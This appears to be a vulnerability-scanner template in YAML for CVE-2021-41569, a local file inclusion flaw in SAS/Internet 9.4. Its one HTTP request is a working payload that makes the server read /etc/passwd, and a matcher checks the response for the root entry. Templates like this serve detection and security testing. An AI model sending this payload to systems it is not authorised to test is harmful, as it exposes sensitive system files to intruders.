44 lines
1.8 KiB
YAML
44 lines
1.8 KiB
YAML
id: CVE-2021-41569
|
|
|
|
info:
|
|
name: SAS/Internet 9.4 1520 - Local File Inclusion
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
|
|
reference:
|
|
- https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
|
|
- https://support.sas.com/kb/68/641.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41569
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-41569
|
|
cwe-id: CWE-829
|
|
epss-score: 0.00978
|
|
epss-percentile: 0.81735
|
|
cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sas
|
|
product: sas\/intrnet
|
|
tags: cve,cve2021,sas,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100817a4fe0e2f66bf99e0d7a0151d88b22b306929382dd41ccb329de74463d7f5602203ccb6415d55dc16c4a4e5b8683c68aed5a1853190e6cd389b5834c341ef1cbd9:922c64590222798bb761d5b6d8e72950
|